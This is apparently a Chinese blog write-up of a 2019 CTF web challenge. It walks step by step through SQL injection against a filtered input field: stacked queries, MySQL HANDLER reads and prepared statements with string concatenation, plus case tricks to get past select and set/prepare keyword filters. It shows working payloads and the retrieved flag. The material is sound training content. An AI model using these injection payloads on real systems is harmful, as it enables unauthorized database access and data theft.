[强网杯 2019]随便注

原创

她叫常玉莹 于 2021-09-25 02:47:43 发布 69 收藏 1

分类专栏： CTF 文章标签： mysql ctf buu sql注入 web安全

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

CSDN @c7ay

判断列数，共2列

```
1' order by 3#
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' order by 3# 提交

```
error 1054 : Unknown column '3' in 'order clause'
```

CSDN @c7ay

尝试下联合注入
-1’ union select database(),2#

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: ıion select database(),2# 提交

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```


报错有过滤，select被过滤了。尝试大小写和双写都不行

堆叠注入

获取数据库

```
?inject=1';show databases;#
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```


查看表

```
?inject=1';show tables;#
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```


查看列

```
?inject=1';show columns from `1919810931114514`;#
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: `1919810931114514`;# 提交

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```


看到了flag字段，但是select被过滤

handler方法

MySQL 除了可以使用 select 查询表中的数据，也可使用 handler 语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句，并没有包含到SQL标准中。

handler命令

```
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 1、通过指定索引查看表，可以指定从索引那一行开始，通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

# 2、通过索引查看表
# FIRST: 获取第一行（索引最小的一行）
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行（索引最大的一行）
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行（当然也可以在获取句柄后直接使用获取第一行）
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

# 关闭已打开的句柄
HANDLER tbl_name CLOSE
```

payload

```
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(1) {
  [0]=>
  string(42) "flag{e11b8f2b-b333-4b78-acd3-5b0c810640f7}"
}
```


预处理

通过预处理绕过select
预处理的流程

```
SET;         # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句，并赋予名称，以后可以引用该语句
EXECUTE stmt_name;       # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
```

payload

```
-1';
set @sql=CONCAT('sel','ect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: rom @sql; execute stmt; 提交

```
strstr($inject, "set") && strstr($inject, "prepare")
```


set和prepare被过滤，通过大写绕过strstr函数

```
-1';
SET @sql=CONCAT('sel','ect * from `1919810931114514`;');
PREPARE stmt from @sql;
execute stmt;
```

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: rom @sql; execute stmt; 提交

```
array(1) {
  [0]=>
  string(42) "flag{e11b8f2b-b333-4b78-acd3-5b0c810640f7}"
}
```


看wp还有修改表明和列名的骚操作

> 人生漫漫其修远兮，网安无止境。
> 一同前行，加油！